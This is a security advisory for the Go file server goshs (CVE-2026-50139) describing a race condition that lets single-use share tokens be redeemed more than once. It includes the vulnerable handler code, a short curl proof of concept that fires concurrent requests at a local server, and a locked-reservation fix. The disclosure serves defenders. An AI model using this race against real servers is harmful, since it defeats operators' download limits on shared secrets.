Skip to content

Share-link ?token=… redemption races past download limit

Moderate
patrickhener published GHSA-j48m-h7xq-2xpj May 28, 2026

Package

gomod goshs.de/goshs/v2 (Go)

Affected versions

<=v2.0.9

Patched versions

v2.1.0

Description

Share-link ?token=… redemption races past download limit

Ecosystem: Go
Package: goshs.de/goshs/v2 (github.com/patrickhener/goshs)
Affected: <= v2.0.9 (every release that shipped the share-link feature)
Severity: Moderate — CVSS 5.3 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE: CWE-362 — Concurrent Execution using Shared Resource with Improper Synchronization (TOCTOU)

Summary

ShareHandler reads the share token's DownloadLimit under RLock, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same Downloaded/DownloadLimit snapshot, all pass the check, and all are served — exceeding the operator's intended cap.

Details

httpserver/handler.go:968-1018:

fs.sharedLinksMu.RLock()
entry, ok := fs.SharedLinks[token]
fs.sharedLinksMu.RUnlock()                       // <-- released here

if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 {
    // ...serve file...                          // <-- whole transfer happens unlocked
}

fs.sharedLinksMu.Lock()                          // <-- re-acquired only now
current.Downloaded++
if current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) }
fs.sharedLinksMu.Unlock()

Between line 978 (RUnlock) and line 1008 (Lock), any number of goroutines can interleave and each observes the same pre-increment limit.

Proof of concept

goshs -p 18000 -d /tmp/r -b admin:pw &
echo data > /tmp/r/f.txt

# operator issues a one-shot share
SHARE=$(curl -su admin:pw "http://localhost:18000/f.txt?share&limit=1")
TK=$(echo "$SHARE" | sed -n 's/.*token=\([^"]*\)".*/\1/p')

# attacker races two redemptions
curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
wait
# observed: 200 / 200 (both succeed) -> limit=1 redeemed twice

Reproduced 5/5 times in a row on a 2026-era M-series Mac during verification.

Impact

A "single-use" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window.

Suggested fix

Reserve under the write lock before serving — refund only if the serve fails:

fs.sharedLinksMu.Lock()
entry, ok := fs.SharedLinks[token]
if !ok || time.Now().After(entry.Expires) ||
   (entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) {
    fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return
}
entry.Downloaded++
if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit {
    delete(fs.SharedLinks, token)
} else {
    fs.SharedLinks[token] = entry
}
fs.sharedLinksMu.Unlock()
// ...serve...

Add a regression test that races two requests against a limit=1 token and asserts exactly one 200.

Reporter: Nishant Verma. Reproduced against goshs v2.0.9 (commit 8fc1e91) on 2026-05-27.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-50139

Weaknesses

Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. Learn more on MITRE.

Credits